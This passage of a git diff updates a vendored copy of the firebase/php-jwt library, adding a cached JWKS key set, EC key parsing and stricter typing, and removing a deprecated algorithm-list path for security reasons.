base64_encode(sodium_crypto_sign_publickey($keyPair)); -$payload = array( - "iss" => "example.org", - "aud" => "example.com", - "iat" => 1356999524, - "nbf" => 1357000000 -); +$payload = [ + 'iss' => 'example.org', + 'aud' => 'example.com', + 'iat' => 1356999524, + 'nbf' => 1357000000 +]; $jwt = JWT::encode($payload, $privateKey, 'EdDSA'); echo "Encode:\n" . print_r($jwt, true) . "\n"; @@ -198,72 +198,115 @@ use Firebase\JWT\JWT; // this endpoint: https://www.gstatic.com/iap/verify/public_key-jwk $jwks = ['keys' => []]; -// JWK::parseKeySet($jwks) returns an associative array of **kid** to private -// key. Pass this as the second parameter to JWT::decode. -// NOTE: The deprecated $supportedAlgorithm must be supplied when parsing from JWK. -JWT::decode($payload, JWK::parseKeySet($jwks), $supportedAlgorithm); +// JWK::parseKeySet($jwks) returns an associative array of **kid** to Firebase\JWT\Key +// objects. Pass this as the second parameter to JWT::decode. +JWT::decode($payload, JWK::parseKeySet($jwks)); ``` -Changelog ---------- +Using Cached Key Sets +--------------------- -#### 5.0.0 / 2017-06-26 -- Support RS384 and RS512. - See [#117](https://github.com/firebase/php-jwt/pull/117). Thanks [@joostfaassen](https://github.com/joostfaassen)! -- Add an example for RS256 openssl. - See [#125](https://github.com/firebase/php-jwt/pull/125). Thanks [@akeeman](https://github.com/akeeman)! -- Detect invalid Base64 encoding in signature. - See [#162](https://github.com/firebase/php-jwt/pull/162). Thanks [@psignoret](https://github.com/psignoret)! -- Update `JWT::verify` to handle OpenSSL errors. - See [#159](https://github.com/firebase/php-jwt/pull/159). Thanks [@bshaffer](https://github.com/bshaffer)! -- Add `array` type hinting to `decode` method - See [#101](https://github.com/firebase/php-jwt/pull/101). Thanks [@hywak](https://github.com/hywak)! -- Add all JSON error types. - See [#110](https://github.com/firebase/php-jwt/pull/110). Thanks [@gbalduzzi](https://github.com/gbalduzzi)! -- Bugfix 'kid' not in given key list. - See [#129](https://github.com/firebase/php-jwt/pull/129). Thanks [@stampycode](https://github.com/stampycode)! -- Miscellaneous cleanup, documentation and test fixes. - See [#107](https://github.com/firebase/php-jwt/pull/107), [#115](https://github.com/firebase/php-jwt/pull/115), - [#160](https://github.com/firebase/php-jwt/pull/160), [#161](https://github.com/firebase/php-jwt/pull/161), and - [#165](https://github.com/firebase/php-jwt/pull/165). Thanks [@akeeman](https://github.com/akeeman), - [@chinedufn](https://github.com/chinedufn), and [@bshaffer](https://github.com/bshaffer)! +The `CachedKeySet` class can be used to fetch and cache JWKS (JSON Web Key Sets) from a public URI. +This has the following advantages: -#### 4.0.0 / 2016-07-17 -- Add support for late static binding. See [#88](https://github.com/firebase/php-jwt/pull/88) for details. Thanks to [@chappy84](https://github.com/chappy84)! -- Use static `$timestamp` instead of `time()` to improve unit testing. See [#93](https://github.com/firebase/php-jwt/pull/93) for details. Thanks to [@josephmcdermott](https://github.com/josephmcdermott)! -- Fixes to exceptions classes. See [#81](https://github.com/firebase/php-jwt/pull/81) for details. Thanks to [@Maks3w](https://github.com/Maks3w)! -- Fixes to PHPDoc. See [#76](https://github.com/firebase/php-jwt/pull/76) for details. Thanks to [@akeeman](https://github.com/akeeman)! +1. The results are cached for performance. +2. If an unrecognized key is requested, the cache is refreshed, to accomodate for key rotation. +3. If rate limiting is enabled, the JWKS URI will not make more than 10 requests a second. -#### 3.0.0 / 2015-07-22 -- Minimum PHP version updated from `5.2.0` to `5.3.0`. -- Add `\Firebase\JWT` namespace. See -[#59](https://github.com/firebase/php-jwt/pull/59) for details. Thanks to -[@Dashron](https://github.com/Dashron)! -- Require a non-empty key to decode and verify a JWT. See -[#60](https://github.com/firebase/php-jwt/pull/60) for details. Thanks to -[@sjones608](https://github.com/sjones608)! -- Cleaner documentation blocks in the code. See -[#62](https://github.com/firebase/php-jwt/pull/62) for details. Thanks to -[@johanderuijter](https://github.com/johanderuijter)! +```php +use Firebase\JWT\CachedKeySet; +use Firebase\JWT\JWT; -#### 2.2.0 / 2015-06-22 -- Add support for adding custom, optional JWT headers to `JWT::encode()`. See -[#53](https://github.com/firebase/php-jwt/pull/53/files) for details. Thanks to -[@mcocaro](https://github.com/mcocaro)! +// The URI for the JWKS you wish to cache the results from +$jwksUri = 'https://www.gstatic.com/iap/verify/public_key-jwk'; -#### 2.1.0 / 2015-05-20 -- Add support for adding a leeway to `JWT:decode()` that accounts for clock skew -between signing and verifying entities. Thanks to [@lcabral](https://github.com/lcabral)! -- Add support for passing an object implementing the `ArrayAccess` interface for -`$keys` argument in `JWT::decode()`. Thanks to [@aztech-dev](https://github.com/aztech-dev)! +// Create an HTTP client (can be any PSR-7 compatible HTTP client) +$httpClient = new GuzzleHttp\Client(); -#### 2.0.0 / 2015-04-01 -- **Note**: It is strongly recommended that you update to > v2.0.0 to address - known security vulnerabilities in prior versions when both symmetric and - asymmetric keys are used together. -- Update signature for `JWT::decode(...)` to require an array of supported - algorithms to use when verifying token signatures. +// Create an HTTP request factory (can be any PSR-17 compatible HTTP request factory) +$httpFactory = new GuzzleHttp\Psr\HttpFactory(); +// Create a cache item pool (can be any PSR-6 compatible cache item pool) +$cacheItemPool = Phpfastcache\CacheManager::getInstance('files'); + +$keySet = new CachedKeySet( + $jwksUri, + $httpClient, + $httpFactory, + $cacheItemPool, + null, // $expiresAfter int seconds to set the JWKS to expire + true // $rateLimit true to enable rate limit of 10 RPS on lookup of invalid keys +); + +$jwt = 'eyJhbGci...'; // Some JWT signed by a key from the $jwkUri above +$decoded = JWT::decode($jwt, $keySet); +``` + +Miscellaneous +------------- + +#### Exception Handling + +When a call to `JWT::decode` is invalid, it will throw one of the following exceptions: + +```php +use Firebase\JWT\JWT; +use Firebase\JWT\SignatureInvalidException; +use Firebase\JWT\BeforeValidException; +use Firebase\JWT\ExpiredException; +use DomainException; +use InvalidArgumentException; +use UnexpectedValueException; + +try { + $decoded = JWT::decode($payload, $keys); +} catch (InvalidArgumentException $e) { + // provided key/key-array is empty or malformed. +} catch (DomainException $e) { + // provided algorithm is unsupported OR + // provided key is invalid OR + // unknown error thrown in openSSL or libsodium OR + // libsodium is required but not available. +} catch (SignatureInvalidException $e) { + // provided JWT signature verification failed. +} catch (BeforeValidException $e) { + // provided JWT is trying to be used before "nbf" claim OR + // provided JWT is trying to be used before "iat" claim. +} catch (ExpiredException $e) { + // provided JWT is trying to be used after "exp" claim. +} catch (UnexpectedValueException $e) { + // provided JWT is malformed OR + // provided JWT is missing an algorithm / using an unsupported algorithm OR + // provided JWT algorithm does not match provided key OR + // provided key ID in key/key-array is empty or invalid. +} +``` + +All exceptions in the `Firebase\JWT` namespace extend `UnexpectedValueException`, and can be simplified +like this: + +```php +try { + $decoded = JWT::decode($payload, $keys); +} catch (LogicException $e) { + // errors having to do with environmental setup or malformed JWT Keys +} catch (UnexpectedValueException $e) { + // errors having to do with JWT signature and claims +} +``` + +#### Casting to array + +The return value of `JWT::decode` is the generic PHP object `stdClass`. If you'd like to handle with arrays +instead, you can do the following: + +```php +// return type is stdClass +$decoded = JWT::decode($payload, $keys); + +// cast to array +$decoded = json_decode(json_encode($decoded), true); +``` Tests ----- diff --git a/lib/firebase/php-jwt/composer.json b/lib/firebase/php-jwt/composer.json index 6146e2dcc..c9aa3dbbc 100644 --- a/lib/firebase/php-jwt/composer.json +++ b/lib/firebase/php-jwt/composer.json @@ -20,10 +20,11 @@ ], "license": "BSD-3-Clause", "require": { - "php": ">=5.3.0" + "php": "^7.1||^8.0" }, "suggest": { - "paragonie/sodium_compat": "Support EdDSA (Ed25519) signatures when libsodium is not present" + "paragonie/sodium_compat": "Support EdDSA (Ed25519) signatures when libsodium is not present", + "ext-sodium": "Support EdDSA (Ed25519) signatures" }, "autoload": { "psr-4": { @@ -31,6 +32,11 @@ } }, "require-dev": { - "phpunit/phpunit": ">=4.8 <=9" + "guzzlehttp/guzzle": "^6.5||^7.4", + "phpspec/prophecy-phpunit": "^1.1", + "phpunit/phpunit": "^7.5||^9.5", + "psr/cache": "^1.0||^2.0", + "psr/http-client": "^1.0", + "psr/http-factory": "^1.0" } } diff --git a/lib/firebase/php-jwt/src/CachedKeySet.php b/lib/firebase/php-jwt/src/CachedKeySet.php new file mode 100644 index 000000000..baf801f13 --- /dev/null +++ b/lib/firebase/php-jwt/src/CachedKeySet.php @@ -0,0 +1,258 @@ + + */ +class CachedKeySet implements ArrayAccess +{ + /** + * @var string + */ + private $jwksUri; + /** + * @var ClientInterface + */ + private $httpClient; + /** + * @var RequestFactoryInterface + */ + private $httpFactory; + /** + * @var CacheItemPoolInterface + */ + private $cache; + /** + * @var ?int + */ + private $expiresAfter; + /** + * @var ?CacheItemInterface + */ + private $cacheItem; + /** + * @var array> + */ + private $keySet; + /** + * @var string + */ + private $cacheKey; + /** + * @var string + */ + private $cacheKeyPrefix = 'jwks'; + /** + * @var int + */ + private $maxKeyLength = 64; + /** + * @var bool + */ + private $rateLimit; + /** + * @var string + */ + private $rateLimitCacheKey; + /** + * @var int + */ + private $maxCallsPerMinute = 10; + /** + * @var string|null + */ + private $defaultAlg; + + public function __construct( + string $jwksUri, + ClientInterface $httpClient, + RequestFactoryInterface $httpFactory, + CacheItemPoolInterface $cache, + int $expiresAfter = null, + bool $rateLimit = false, + string $defaultAlg = null + ) { + $this->jwksUri = $jwksUri; + $this->httpClient = $httpClient; + $this->httpFactory = $httpFactory; + $this->cache = $cache; + $this->expiresAfter = $expiresAfter; + $this->rateLimit = $rateLimit; + $this->defaultAlg = $defaultAlg; + $this->setCacheKeys(); + } + + /** + * @param string $keyId + * @return Key + */ + public function offsetGet($keyId): Key + { + if (!$this->keyIdExists($keyId)) { + throw new OutOfBoundsException('Key ID not found'); + } + return JWK::parseKey($this->keySet[$keyId], $this->defaultAlg); + } + + /** + * @param string $keyId + * @return bool + */ + public function offsetExists($keyId): bool + { + return $this->keyIdExists($keyId); + } + + /** + * @param string $offset + * @param Key $value + */ + public function offsetSet($offset, $value): void + { + throw new LogicException('Method not implemented'); + } + + /** + * @param string $offset + */ + public function offsetUnset($offset): void + { + throw new LogicException('Method not implemented'); + } + + /** + * @return array + */ + private function formatJwksForCache(string $jwks): array + { + $jwks = json_decode($jwks, true); + + if (!isset($jwks['keys'])) { + throw new UnexpectedValueException('"keys" member must exist in the JWK Set'); + } + + if (empty($jwks['keys'])) { + throw new InvalidArgumentException('JWK Set did not contain any keys'); + } + + $keys = []; + foreach ($jwks['keys'] as $k => $v) { + $kid = isset($v['kid']) ? $v['kid'] : $k; + $keys[(string) $kid] = $v; + } + + return $keys; + } + + private function keyIdExists(string $keyId): bool + { + if (null === $this->keySet) { + $item = $this->getCacheItem(); + // Try to load keys from cache + if ($item->isHit()) { + // item found! retrieve it + $this->keySet = $item->get(); + // If the cached item is a string, the JWKS response was cached (previous behavior). + // Parse this into expected format array instead. + if (\is_string($this->keySet)) { + $this->keySet = $this->formatJwksForCache($this->keySet); + } + } + } + + if (!isset($this->keySet[$keyId])) { + if ($this->rateLimitExceeded()) { + return false; + } + $request = $this->httpFactory->createRequest('GET', $this->jwksUri); + $jwksResponse = $this->httpClient->sendRequest($request); + $this->keySet = $this->formatJwksForCache((string) $jwksResponse->getBody()); + + if (!isset($this->keySet[$keyId])) { + return false; + } + + $item = $this->getCacheItem(); + $item->set($this->keySet); + if ($this->expiresAfter) { + $item->expiresAfter($this->expiresAfter); + } + $this->cache->save($item); + } + + return true; + } + + private function rateLimitExceeded(): bool + { + if (!$this->rateLimit) { + return false; + } + + $cacheItem = $this->cache->getItem($this->rateLimitCacheKey); + if (!$cacheItem->isHit()) { + $cacheItem->expiresAfter(1); // # of calls are cached each minute + } + + $callsPerMinute = (int) $cacheItem->get(); + if (++$callsPerMinute > $this->maxCallsPerMinute) { + return true; + } + $cacheItem->set($callsPerMinute); + $this->cache->save($cacheItem); + return false; + } + + private function getCacheItem(): CacheItemInterface + { + if (\is_null($this->cacheItem)) { + $this->cacheItem = $this->cache->getItem($this->cacheKey); + } + + return $this->cacheItem; + } + + private function setCacheKeys(): void + { + if (empty($this->jwksUri)) { + throw new RuntimeException('JWKS URI is empty'); + } + + // ensure we do not have illegal characters + $key = preg_replace('|[^a-zA-Z0-9_\.!]|', '', $this->jwksUri); + + // add prefix + $key = $this->cacheKeyPrefix . $key; + + // Hash keys if they exceed $maxKeyLength of 64 + if (\strlen($key) > $this->maxKeyLength) { + $key = substr(hash('sha256', $key), 0, $this->maxKeyLength); + } + + $this->cacheKey = $key; + + if ($this->rateLimit) { + // add prefix + $rateLimitKey = $this->cacheKeyPrefix . 'ratelimit' . $key; + + // Hash keys if they exceed $maxKeyLength of 64 + if (\strlen($rateLimitKey) > $this->maxKeyLength) { + $rateLimitKey = substr(hash('sha256', $rateLimitKey), 0, $this->maxKeyLength); + } + + $this->rateLimitCacheKey = $rateLimitKey; + } + } +} diff --git a/lib/firebase/php-jwt/src/JWK.php b/lib/firebase/php-jwt/src/JWK.php index 981a9ba7f..c7eff8ae4 100644 --- a/lib/firebase/php-jwt/src/JWK.php +++ b/lib/firebase/php-jwt/src/JWK.php @@ -20,12 +20,25 @@ use UnexpectedValueException; */ class JWK { + private const OID = '1.2.840.10045.2.1'; + private const ASN1_OBJECT_IDENTIFIER = 0x06; + private const ASN1_SEQUENCE = 0x10; // also defined in JWT + private const ASN1_BIT_STRING = 0x03; + private const EC_CURVES = [ + 'P-256' => '1.2.840.10045.3.1.7', // Len: 64 + 'secp256k1' => '1.3.132.0.10', // Len: 64 + // 'P-384' => '1.3.132.0.34', // Len: 96 (not yet supported) + // 'P-521' => '1.3.132.0.35', // Len: 132 (not supported) + ]; + /** * Parse a set of JWK keys * - * @param array $jwks The JSON Web Key Set as an associative array + * @param array $jwks The JSON Web Key Set as an associative array + * @param string $defaultAlg The algorithm for the Key object if "alg" is not set in the + * JSON Web Key Set * - * @return array An associative array that represents the set of keys + * @return array An associative array of key IDs (kid) to Key objects * * @throws InvalidArgumentException Provided JWK Set is empty * @throws UnexpectedValueException Provided JWK Set was invalid @@ -33,21 +46,22 @@ class JWK * * @uses parseKey */ - public static function parseKeySet(array $jwks) + public static function parseKeySet(array $jwks, string $defaultAlg = null): array { - $keys = array(); + $keys = []; if (!isset($jwks['keys'])) { throw new UnexpectedValueException('"keys" member must exist in the JWK Set'); } + if (empty($jwks['keys'])) { throw new InvalidArgumentException('JWK Set did not contain any keys'); } foreach ($jwks['keys'] as $k => $v) { $kid = isset($v['kid']) ? $v['kid'] : $k; - if ($key = self::parseKey($v)) { - $keys[$kid] = $key; + if ($key = self::parseKey($v, $defaultAlg)) { + $keys[(string) $kid] = $key; } } @@ -61,9 +75,11 @@ class JWK /** * Parse a JWK key * - * @param array $jwk An individual JWK + * @param array $jwk An individual JWK + * @param string $defaultAlg The algorithm for the Key object if "alg" is not set in the + * JSON Web Key Set * - * @return resource|array An associative array that represents the key + * @return Key The key object for the JWK * * @throws InvalidArgumentException Provided JWK is empty * @throws UnexpectedValueException Provided JWK was invalid @@ -71,15 +87,27 @@ class JWK * * @uses createPemFromModulusAndExponent */ - public static function parseKey(array $jwk) + public static function parseKey(array $jwk, string $defaultAlg = null): ?Key { if (empty($jwk)) { throw new InvalidArgumentException('JWK must not be empty'); } + if (!isset($jwk['kty'])) { throw new UnexpectedValueException('JWK must contain a "kty" parameter'); } + if (!isset($jwk['alg'])) { + if (\is_null($defaultAlg)) { + // The "alg" parameter is optional in a KTY, but an algorithm is required + // for parsing in this library. Use the $defaultAlg parameter when parsing the + // key set in order to prevent this error. + // @see https://datatracker.ietf.org/doc/html/rfc7517#section-4.4 + throw new UnexpectedValueException('JWK must contain an "alg" parameter'); + } + $jwk['alg'] = $defaultAlg; + } + switch ($jwk['kty']) { case 'RSA': if (!empty($jwk['d'])) { @@ -96,11 +124,72 @@ class JWK 'OpenSSL error: ' . \openssl_error_string() ); } - return $publicKey; + return new Key($publicKey, $jwk['alg']); + case 'EC': + if (isset($jwk['d'])) { + // The key is actually a private key + throw new UnexpectedValueException('Key data must be for a public key'); + } + + if (empty($jwk['crv'])) { + throw new UnexpectedValueException('crv not set'); + } + + if (!isset(self::EC_CURVES[$jwk['crv']])) { + throw new DomainException('Unrecognised or unsupported EC curve'); + } + + if (empty($jwk['x']) || empty($jwk['y'])) { + throw new UnexpectedValueException('x and y not set'); + } + + $publicKey = self::createPemFromCrvAndXYCoordinates($jwk['crv'], $jwk['x'], $jwk['y']); + return new Key($publicKey, $jwk['alg']); default: // Currently only RSA is supported break; } + + return null; + } + + /** + * Converts the EC JWK values to pem format. + * + * @param string $crv The EC curve (only P-256 is supported) + * @param string $x The EC x-coordinate + * @param string $y The EC y-coordinate + * + * @return string + */ + private static function createPemFromCrvAndXYCoordinates(string $crv, string $x, string $y): string + { + $pem = + self::encodeDER( + self::ASN1_SEQUENCE, + self::encodeDER( + self::ASN1_SEQUENCE, + self::encodeDER( + self::ASN1_OBJECT_IDENTIFIER, + self::encodeOID(self::OID) + ) + . self::encodeDER( + self::ASN1_OBJECT_IDENTIFIER, + self::encodeOID(self::EC_CURVES[$crv]) + ) + ) . + self::encodeDER( + self::ASN1_BIT_STRING, + \chr(0x00) . \chr(0x04) + . JWT::urlsafeB64Decode($x) + . JWT::urlsafeB64Decode($y) + ) + ); + + return sprintf( + "-----BEGIN PUBLIC KEY-----\n%s\n-----END PUBLIC KEY-----\n", + wordwrap(base64_encode($pem), 64, "\n", true) + ); } /** @@ -113,22 +202,22 @@ class JWK * * @uses encodeLength */ - private static function createPemFromModulusAndExponent($n, $e) - { - $modulus = JWT::urlsafeB64Decode($n); - $publicExponent = JWT::urlsafeB64Decode($e); + private static function createPemFromModulusAndExponent( + string $n, + string $e + ): string { + $mod = JWT::urlsafeB64Decode($n); + $exp = JWT::urlsafeB64Decode($e); - $components = array( - 'modulus' => \pack('Ca*a*', 2, self::encodeLength(\strlen($modulus)), $modulus), - 'publicExponent' => \pack('Ca*a*', 2, self::encodeLength(\strlen($publicExponent)), $publicExponent) - ); + $modulus = \pack('Ca*a*', 2, self::encodeLength(\strlen($mod)), $mod); + $publicExponent = \pack('Ca*a*', 2, self::encodeLength(\strlen($exp)), $exp); $rsaPublicKey = \pack( 'Ca*a*a*', 48, - self::encodeLength(\strlen($components['modulus']) + \strlen($components['publicExponent'])), - $components['modulus'], - $components['publicExponent'] + self::encodeLength(\strlen($modulus) + \strlen($publicExponent)), + $modulus, + $publicExponent ); // sequence(oid(1.2.840.113549.1.1.1), null)) = rsaEncryption. @@ -143,11 +232,9 @@ class JWK $rsaOID . $rsaPublicKey ); - $rsaPublicKey = "-----BEGIN PUBLIC KEY-----\r\n" . + return "-----BEGIN PUBLIC KEY-----\r\n" . \chunk_split(\base64_encode($rsaPublicKey), 64) . '-----END PUBLIC KEY-----'; - - return $rsaPublicKey; } /** @@ -159,7 +246,7 @@ class JWK * @param int $length * @return string */ - private static function encodeLength($length) + private static function encodeLength(int $length): string { if ($length <= 0x7F) { return \chr($length); @@ -169,4 +256,68 @@ class JWK return \pack('Ca*', 0x80 | \strlen($temp), $temp); } + + /** + * Encodes a value into a DER object. + * Also defined in Firebase\JWT\JWT + * + * @param int $type DER tag + * @param string $value the value to encode + * @return string the encoded object + */ + private static function encodeDER(int $type, string $value): string + { + $tag_header = 0; + if ($type === self::ASN1_SEQUENCE) { + $tag_header |= 0x20; + } + + // Type + $der = \chr($tag_header | $type); + + // Length + $der .= \chr(\strlen($value)); + + return $der . $value; + } + + /** + * Encodes a string into a DER-encoded OID. + * + * @param string $oid the OID string + * @return string the binary DER-encoded OID + */ + private static function encodeOID(string $oid): string + { + $octets = explode('.', $oid); + + // Get the first octet + $first = (int) array_shift($octets); + $second = (int) array_shift($octets); + $oid = \chr($first * 40 + $second); + + // Iterate over subsequent octets + foreach ($octets as $octet) { + if ($octet == 0) { + $oid .= \chr(0x00); + continue; + } + $bin = ''; + + while ($octet) { + $bin .= \chr(0x80 | ($octet & 0x7f)); + $octet >>= 7; + } + $bin[0] = $bin[0] & \chr(0x7f); + + // Convert to big endian if necessary + if (pack('V', 65534) == pack('L', 65534)) { + $oid .= strrev($bin); + } else { + $oid .= $bin; + } + } + + return $oid; + } } diff --git a/lib/firebase/php-jwt/src/JWT.php b/lib/firebase/php-jwt/src/JWT.php index ec1641bc4..269e8caf0 100644 --- a/lib/firebase/php-jwt/src/JWT.php +++ b/lib/firebase/php-jwt/src/JWT.php @@ -3,12 +3,14 @@ namespace Firebase\JWT; use ArrayAccess; +use DateTime; use DomainException; use Exception; use InvalidArgumentException; use OpenSSLAsymmetricKey; +use OpenSSLCertificate; +use stdClass; use UnexpectedValueException; -use DateTime; /** * JSON Web Token implementation, based on this spec: @@ -25,52 +27,58 @@ use DateTime; */ class JWT { - const ASN1_INTEGER = 0x02; - const ASN1_SEQUENCE = 0x10; - const ASN1_BIT_STRING = 0x03; + private const ASN1_INTEGER = 0x02; + private const ASN1_SEQUENCE = 0x10; + private const ASN1_BIT_STRING = 0x03; /** * When checking nbf, iat or expiration times, * we want to provide some extra leeway time to * account for clock skew. + * + * @var int */ public static $leeway = 0; /** * Allow the current timestamp to be specified. * Useful for fixing a value within unit testing. - * * Will default to PHP time() value if null. + * + * @var ?int */ public static $timestamp = null; - public static $supported_algs = array( - 'ES384' => array('openssl', 'SHA384'), - 'ES256' => array('openssl', 'SHA256'), - 'HS256' => array('hash_hmac', 'SHA256'), - 'HS384' => array('hash_hmac', 'SHA384'), - 'HS512' => array('hash_hmac', 'SHA512'), - 'RS256' => array('openssl', 'SHA256'), - 'RS384' => array('openssl', 'SHA384'), - 'RS512' => array('openssl', 'SHA512'), - 'EdDSA' => array('sodium_crypto', 'EdDSA'), - ); + /** + * @var array + */ + public static $supported_algs = [ + 'ES384' => ['openssl', 'SHA384'], + 'ES256' => ['openssl', 'SHA256'], + 'ES256K' => ['openssl', 'SHA256'], + 'HS256' => ['hash_hmac', 'SHA256'], + 'HS384' => ['hash_hmac', 'SHA384'], + 'HS512' => ['hash_hmac', 'SHA512'], + 'RS256' => ['openssl', 'SHA256'], + 'RS384' => ['openssl', 'SHA384'], + 'RS512' => ['openssl', 'SHA512'], + 'EdDSA' => ['sodium_crypto', 'EdDSA'], + ]; /** * Decodes a JWT string into a PHP object. * - * @param string $jwt The JWT - * @param Key|array|mixed $keyOrKeyArray The Key or array of Key objects. - * If the algorithm used is asymmetric, this is the public key - * Each Key object contains an algorithm and matching key. - * Supported algorithms are 'ES384','ES256', 'HS256', 'HS384', - * 'HS512', 'RS256', 'RS384', and 'RS512' - * @param array $allowed_algs [DEPRECATED] List of supported verification algorithms. Only - * should be used for backwards compatibility. + * @param string $jwt The JWT + * @param Key|array $keyOrKeyArray The Key or associative array of key IDs (kid) to Key objects. + * If the algorithm used is asymmetric, this is the public key + * Each Key object contains an algorithm and matching key. + * Supported algorithms are 'ES384','ES256', 'HS256', 'HS384', + * 'HS512', 'RS256', 'RS384', and 'RS512' * - * @return object The JWT's payload as a PHP object + * @return stdClass The JWT's payload as a PHP object * - * @throws InvalidArgumentException Provided JWT was empty + * @throws InvalidArgumentException Provided key/key-array was empty or malformed + * @throws DomainException Provided JWT is malformed * @throws UnexpectedValueException Provided JWT was invalid * @throws SignatureInvalidException Provided JWT was invalid because the signature verification failed * @throws BeforeValidException Provided JWT is trying to be used before it's eligible as defined by 'nbf' @@ -80,27 +88,37 @@ class JWT * @uses jsonDecode * @uses urlsafeB64Decode */ - public static function decode($jwt, $keyOrKeyArray, array $allowed_algs = array()) - { + public static function decode( + string $jwt, + $keyOrKeyArray + ): stdClass { + // Validate JWT $timestamp = \is_null(static::$timestamp) ? \time() : static::$timestamp; if (empty($keyOrKeyArray)) { throw new InvalidArgumentException('Key may not be empty'); } $tks = \explode('.', $jwt); - if (\count($tks) != 3) { + if (\count($tks) !== 3) { throw new UnexpectedValueException('Wrong number of segments'); } list($headb64, $bodyb64, $cryptob64) = $tks; - if (null === ($header = static::jsonDecode(static::urlsafeB64Decode($headb64)))) { + $headerRaw = static::urlsafeB64Decode($headb64); + if (null === ($header = static::jsonDecode($headerRaw))) { throw new UnexpectedValueException('Invalid header encoding'); } - if (null === $payload = static::jsonDecode(static::urlsafeB64Decode($bodyb64))) { + $payloadRaw = static::urlsafeB64Decode($bodyb64); + if (null === ($payload = static::jsonDecode($payloadRaw))) { throw new UnexpectedValueException('Invalid claims encoding'); } - if (false === ($sig = static::urlsafeB64Decode($cryptob64))) { - throw new UnexpectedValueException('Invalid signature encoding'); + if (\is_array($payload)) { + // prevent PHP Fatal Error in edge-cases when payload is empty array + $payload = (object) $payload; } + if (!$payload instanceof stdClass) { + throw new UnexpectedValueException('Payload must be a JSON object'); + } + $sig = static::urlsafeB64Decode($cryptob64); if (empty($header->alg)) { throw new UnexpectedValueException('Empty algorithm'); } @@ -108,31 +126,18 @@ class JWT throw new UnexpectedValueException('Algorithm not supported'); } - list($keyMaterial, $algorithm) = self::getKeyMaterialAndAlgorithm( - $keyOrKeyArray, - empty($header->kid) ? null : $header->kid - ); + $key = self::getKey($keyOrKeyArray, property_exists($header, 'kid') ? $header->kid : null); - if (empty($algorithm)) { - // Use deprecated "allowed_algs" to determine if the algorithm is supported. - // This opens up the possibility of an attack in some implementations. - // @see https://github.com/firebase/php-jwt/issues/351 - if (!\in_array($header->alg, $allowed_algs)) { - throw new UnexpectedValueException('Algorithm not allowed'); - } - } else { - // Check the algorithm - if (!self::constantTimeEquals($algorithm, $header->alg)) { - // See issue #351 - throw new UnexpectedValueException('Incorrect key for this algorithm'); - } + // Check the algorithm + if (!self::constantTimeEquals($key->getAlgorithm(), $header->alg)) { + // See issue #351 + throw new UnexpectedValueException('Incorrect key for this algorithm'); } - if ($header->alg === 'ES256' || $header->alg === 'ES384') { - // OpenSSL expects an ASN.1 DER sequence for ES256/ES384 signatures + if (\in_array($header->alg, ['ES256', 'ES256K', 'ES384'], true)) { + // OpenSSL expects an ASN.1 DER sequence for ES256/ES256K/ES384 signatures $sig = self::signatureToDER($sig); } - - if (!static::verify("$headb64.$bodyb64", $sig, $keyMaterial, $header->alg)) { + if (!self::verify("{$headb64}.{$bodyb64}", $sig, $key->getKeyMaterial(), $header->alg)) { throw new SignatureInvalidException('Signature verification failed'); } @@ -162,34 +167,37 @@ class JWT } /** - * Converts and signs a PHP object or array into a JWT string. + * Converts and signs a PHP array into a JWT string. * - * @param object|array $payload PHP object or array - * @param string|resource $key The secret key. - * If the algorithm used is asymmetric, this is the private key - * @param string $alg The signing algorithm. - * Supported algorithms are 'ES384','ES256', 'HS256', 'HS384', - * 'HS512', 'RS256', 'RS384', and 'RS512' - * @param mixed $keyId - * @param array $head An array with header elements to attach + * @param array $payload PHP array + * @param string|resource|OpenSSLAsymmetricKey|OpenSSLCertificate $key The secret key. + * @param string $alg Supported algorithms are 'ES384','ES256', 'ES256K', 'HS256', + * 'HS384', 'HS512', 'RS256', 'RS384', and 'RS512' + * @param string $keyId + * @param array $head An array with header elements to attach * * @return string A signed JWT * * @uses jsonEncode * @uses urlsafeB64Encode */ - public static function encode($payload, $key, $alg = 'HS256', $keyId = null, $head = null) - { - $header = array('typ' => 'JWT', 'alg' => $alg); + public static function encode( + array $payload, + $key, + string $alg, + string $keyId = null, + array $head = null + ): string { + $header = ['typ' => 'JWT', 'alg' => $alg]; if ($keyId !== null) { $header['kid'] = $keyId; } if (isset($head) && \is_array($head)) { $header = \array_merge($head, $header); } - $segments = array(); - $segments[] = static::urlsafeB64Encode(static::jsonEncode($header)); - $segments[] = static::urlsafeB64Encode(static::jsonEncode($payload)); + $segments = []; + $segments[] = static::urlsafeB64Encode((string) static::jsonEncode($header)); + $segments[] = static::urlsafeB64Encode((string) static::jsonEncode($payload)); $signing_input = \implode('.', $segments); $signature = static::sign($signing_input, $key, $alg); @@ -201,67 +209,84 @@ class JWT /** * Sign a string with a given key and algorithm. * - * @param string $msg The message to sign - * @param string|resource $key The secret key - * @param string $alg The signing algorithm. - * Supported algorithms are 'ES384','ES256', 'HS256', 'HS384', - * 'HS512', 'RS256', 'RS384', and 'RS512' + * @param string $msg The message to sign + * @param string|resource|OpenSSLAsymmetricKey|OpenSSLCertificate $key The secret key. + * @param string $alg Supported algorithms are 'ES384','ES256', 'ES256K', 'HS256', + * 'HS384', 'HS512', 'RS256', 'RS384', and 'RS512' * * @return string An encrypted message * * @throws DomainException Unsupported algorithm or bad key was specified */ - public static function sign($msg, $key, $alg = 'HS256') - { + public static function sign( + string $msg, + $key, + string $alg + ): string { if (empty(static::$supported_algs[$alg])) { throw new DomainException('Algorithm not supported'); } list($function, $algorithm) = static::$supported_algs[$alg]; switch ($function) { case 'hash_hmac': + if (!\is_string($key)) { + throw new InvalidArgumentException('key must be a string when using hmac'); + } return \hash_hmac($algorithm, $msg, $key, true); case 'openssl': $signature = ''; - $success = \openssl_sign($msg, $signature, $key, $algorithm); + $success = \openssl_sign($msg, $signature, $key, $algorithm); // @phpstan-ignore-line if (!$success) { - throw new DomainException("OpenSSL unable to sign data"); + throw new DomainException('OpenSSL unable to sign data'); } - if ($alg === 'ES256') { + if ($alg === 'ES256' || $alg === 'ES256K') { $signature = self::signatureFromDER($signature, 256); } elseif ($alg === 'ES384') { $signature = self::signatureFromDER($signature, 384); } return $signature; case 'sodium_crypto': - if (!function_exists('sodium_crypto_sign_detached')) { + if (!\function_exists('sodium_crypto_sign_detached')) { throw new DomainException('libsodium is not available'); } + if (!\is_string($key)) { + throw new InvalidArgumentException('key must be a string when using EdDSA'); + } try { // The last non-empty line is used as the key. $lines = array_filter(explode("\n", $key)); - $key = base64_decode(end($lines)); + $key = base64_decode((string) end($lines)); + if (\strlen($key) === 0) { + throw new DomainException('Key cannot be empty string'); + } return sodium_crypto_sign_detached($msg, $key); } catch (Exception $e) { throw new 